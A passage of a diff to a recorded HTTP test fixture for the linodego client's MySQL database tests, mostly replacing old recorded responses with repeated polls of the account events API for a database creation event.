755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -11136,16 +11719,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:14:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11161,7 +11747,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11178,16 +11764,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, - "duration": 2550, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, - "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, - "pages": 1, "results": 1}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11200,16 +11786,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "448" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:15:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11225,7 +11814,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11241,24 +11830,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 23355, "label": "tf_test-8585210487497797453", "type": - "g6-nanode-1", "engine": "mysql", "version": "5.7.39", "region": "us-iad", "status": - "provisioning", "encrypted": false, "allow_list": [], "cluster_size": 1, "hosts": - {"primary": null, "secondary": null}, "ssl_connection": false, "replication_type": - "none", "port": 3306, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": - 0, "day_of_week": null, "week_of_month": null}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}, {"id": 28254, "label": "go-mysql-test-def", - "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", - "status": "active", "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], - "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "weekly", "duration": 3, "hour_of_day": 1, "day_of_week": 7, "week_of_month": - null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], - "page": 1, "pages": 1, "results": 2}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11271,21 +11853,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:15:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -11294,7 +11881,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11310,17 +11897,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def", "type": "g6-nanode-1", "engine": - "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", "encrypted": - false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": 3, "hosts": - {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": - "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": - false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": - "weekly", "duration": 3, "hour_of_day": 1, "day_of_week": 7, "week_of_month": - null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11333,23 +11920,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "635" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:15:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -11358,14 +11948,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-mysql-test-def-updated","allow_list":["128.173.205.21","123.177.200.20"],"updates":{"day_of_week":3,"duration":1,"frequency":"monthly","hour_of_day":8,"week_of_month":3}}' + body: "" form: {} headers: Accept: @@ -11374,17 +11964,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 - method: PUT + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11397,21 +11987,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:15:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter + - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -11420,7 +12015,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11437,16 +12032,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28254,"entity.type":"database"}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555549963, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_update", "username": "zliang27", "entity": - {"label": "go-mysql-test-def-updated", "id": 28254, "type": "database", "url": - "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": - null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11459,16 +12054,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "461" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:16:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11484,7 +12082,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11501,16 +12099,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28254,"entity.type":"database","id":{"+gte":555549963}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555549963, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_update", "username": "zliang27", "entity": - {"label": "go-mysql-test-def-updated", "id": 28254, "type": "database", "url": - "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": - null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11523,16 +12121,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "461" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:16:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11548,7 +12149,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11565,16 +12166,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28254,"entity.type":"database","id":{"+gte":555549963}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555549963, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_update", "username": "zliang27", "entity": - {"label": "go-mysql-test-def-updated", "id": 28254, "type": "database", "url": - "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": - null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11587,16 +12188,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "461" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:16:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11612,7 +12216,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11629,17 +12233,17 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28254,"entity.type":"database","id":{"+gte":555549963}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555549963, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_update", "username": "zliang27", "entity": - {"label": "go-mysql-test-def-updated", "id": 28254, "type": "database", "url": - "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": - null, "message": ""}], "page": 1, "pages": 1, "results": 1}' - headers: + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' + headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: @@ -11651,16 +12255,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "461" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:16:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11676,7 +12283,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11693,16 +12300,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28254,"entity.type":"database","id":{"+gte":555549963}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555549963, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, - "duration": 67, "action": "database_update", "username": "zliang27", "entity": - {"label": "go-mysql-test-def-updated", "id": 28254, "type": "database", "url": - "/v4/databases/mysql/instances/28254"}, "status": "finished", "secondary_entity": - null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11715,16 +12322,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "454" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:17:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11740,7 +12350,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11756,17 +12366,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11779,23 +12389,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "646" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:17:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -11804,7 +12417,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11820,10 +12433,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/ssl + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"ca_certificate": null}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11836,23 +12456,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "24" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:17:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -11861,7 +12484,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11877,10 +12500,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/credentials + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"username": "linroot", "password": "fdKDP2hWbWctlF^w"}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11893,23 +12523,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "55" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:17:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -11918,7 +12551,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11934,10 +12567,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/credentials/reset - method: POST + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET response: - body: '{}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -11950,21 +12590,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "2" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:18:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter + - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -11973,7 +12618,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11989,10 +12634,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/credentials + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"username": "linroot", "password": "sUOZkJ7_Otk6sdrf"}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -12005,23 +12657,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "55" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + 